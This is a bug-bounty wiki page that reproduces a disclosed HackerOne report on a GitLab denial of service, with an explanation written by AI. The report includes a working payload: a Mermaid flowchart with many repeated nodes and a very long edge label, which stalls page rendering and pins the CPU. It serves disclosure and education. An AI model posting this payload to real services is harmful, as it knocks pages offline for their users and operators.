DOS via Flowchart TB Mermaid
A denial-of-service vulnerability was found in GitLab's Mermaid flowchart rendering. An attacker could add a specially crafted comment containing a flowchart with many repeated nodes and a long edge label, causing the page to load slowly and consume 100% CPU.
GitLab
Originally disclosed on GitLab
- Fixed in 3 months
- Disclosed after 3 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #2137421 by toukakirishima on 2023-09-06, assigned to @ottilia_westerlund:
Report | Attachments | How To Reproduce
Report
Summary
I found a DOS vulnerability when add comment with Flowchart TB Mermaid, as an attacker I can make DoS in any section with comments (Issues, Merge requests, Milestones, Snippets, Wiki pages, Markdown documents inside repositories, Epics). And it takes a while to load, and uses 100% CPU.
My specification :
RAM : 40 GB
CPU : 12 CPUs 3.6 GHz AMD Ryzen 5 2600X
Browser : Mozilla Firefox & Google Chrome (Latest Version)
Steps to reproduce
- Create comment with Flowchart TB Mermaid (example on Issue)
Payload :
flowchart TB
A & A & A & A & A & A & A & A ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------> C & D & E & F & G & H & I & J & K & L & M & N & O & P & Q & R & S & T & U & V & W & X & Y & Z
flowchart TB
A & A & A & A & A & A & A & A ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------> C & D & E & F & G & H & I & J & K & L & M & N & O & P & Q & R & S & T & U & V & W & X & Y & Z
flowchart TB
A & A & A & A & A & A & A & A ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------> C & D & E & F & G & H & I & J & K & L & M & N & O & P & Q & R & S & T & U & V & W & X & Y & Z

- Reload the page. And you will load the page very long.

POC
Output of checks
This bug happens on GitLab.com
Impact
Attacker can make DoS in any section with comments (Issues, Merge requests, Milestones, Snippets, Wiki pages, Markdown documents inside repositories, Epics).
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Mermaid flowchart renderer does not limit the complexity of diagrams, so a diagram with many repeated nodes and a very long edge label causes excessive computation.
Impact
An attacker could cause a denial of service in any section with comments, making pages load very slowly and using 100% CPU.
What the attacker needed
Ability to post a comment
How it was found
- Create a comment containing a Mermaid flowchart with repeated nodes and a long edge label.
- Reload the page and observe that it takes a very long time to load.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report describes a way to make a website slow or unresponsive by posting a comment with a special diagram. The diagram is written in Mermaid, a tool that turns text into flowcharts. When the page tries to draw the diagram, it uses all the computer's processing power, so the page takes a very long time to load.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.